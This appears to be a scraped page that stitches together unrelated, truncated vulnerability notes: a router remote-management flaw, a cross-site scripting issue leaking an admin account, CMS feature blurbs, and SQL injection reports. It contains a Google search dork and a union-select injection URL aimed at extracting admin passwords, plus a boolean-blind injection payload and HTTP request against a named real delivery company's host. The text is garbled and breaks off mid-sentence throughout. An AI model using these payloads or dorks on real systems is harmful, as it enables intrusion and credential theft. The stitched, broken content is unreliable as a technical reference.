qualys vulnerability management

Release date:Updated on: Affected Systems:Nisuta NS-WIR150 Wireless Routers 5.07.41Nisuta NS-WIR300 Wireless Routers 5.07.36 _ NIS01Description:--------------------------------------------------------------------------------Nisuta NS-WIR150/NS-WIR300 are from Spain wireless router products. NS-WIR150NE 5.07.41, NS-WIR300N 5.07.36 _ NIS01, NS-WIR150NF, NS-WIR300ND does not properly restrict access to remote management Web interfaces, this

Brief description: The Tag Cloud function is not strictly filtered. As a result, members can enter cross-site JS Script Reference on any product details page. The background Administrator account is leaked. Detailed description: Vulnerability proof: External test. js file content. Allows you to modify the username and retrieve the password mailbox of the Administrator account in the background. The background administrator browses the page

Program name: Network PHP Enterprise website Management System 2.0 free versionThe following is a brief description of the system's features:1, the use of DIV+CSS layout tested compatible with IE and Firefox mainstream browser, other browsers have not been tested.2, product news level three unlimited classification.3, backstage can set up such as Administrator account password, site title, the bottom of the site copyright and other information.4. Back

The hwasun network management system has SQL injection to obtain the administrator user password. Keyword: inurl: chk_case.asp Vulnerability Testing:Asp? ID = 673% 20 union % 20 select %, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, admin, 16, 17, 18, 19, 20, "> http://www.site.com/chk_case.asp? ID = 673% 20 union % 20 select %, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, admin, 16, 17, 18, 19, 20, Userpassword

W78CMS is an asp cms open source system designed for enterprise users.Provides various webpage templates, enterprise website templates, free enterprise website systems, automatic website creation systems, and all enterprises...The program is developed using ASP + ACCESS. English and Chinese complex language, all pages using UTF-8 universal code, compatible with simplified Chinese, Traditional Chinese and English, suitable for small and medium-sized enterprise websites. The background data is rec

SQL injection vulnerability in express it Management System Place: POSTParameter: PDA_SN Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: PDA_Type=PDA_SN=X30013040448' AND 1496=1496 AND 'MmCo'='MmCopager.pageNo=1pager.pageSize=20sort=USE_SITEdirection=desc POST /BaQiangWangDian/getBaQiangOfPager HTTP/1.1Host: it.zt-express.comProxy-Connection: keep-aliveCon